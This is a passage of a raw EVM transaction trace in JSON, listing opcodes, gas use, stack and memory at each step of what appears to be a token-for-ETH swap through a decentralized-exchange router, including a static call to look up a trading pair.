3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5170,"op":"SWAP2","gas":105964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xffffffffffffffffffffffffffffffffffffffff","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5171,"op":"AND","gas":105961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5172,"op":"SWAP1","gas":105958,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5173,"op":"PUSH4","gas":105955,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5178,"op":"SWAP1","gas":105952,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1c0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5179,"op":"PUSH1","gas":105949,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5181,"op":"ADD","gas":105946,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1c0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5182,"op":"PUSH1","gas":105943,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5184,"op":"PUSH1","gas":105940,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5186,"op":"MLOAD","gas":105937,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5187,"op":"DUP1","gas":105934,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5188,"op":"DUP4","gas":105931,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5189,"op":"SUB","gas":105928,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x1c0","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5190,"op":"DUP2","gas":105925,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5191,"op":"DUP7","gas":105922,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x44","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5192,"op":"GAS","gas":105919,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x44","0x1c0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5193,"op":"STATICCALL","gas":105917,"gasCost":104264,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x20","0x1c0","0x44","0x1c0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x19dbd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":104164,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":104161,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":104158,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":104146,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":104144,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000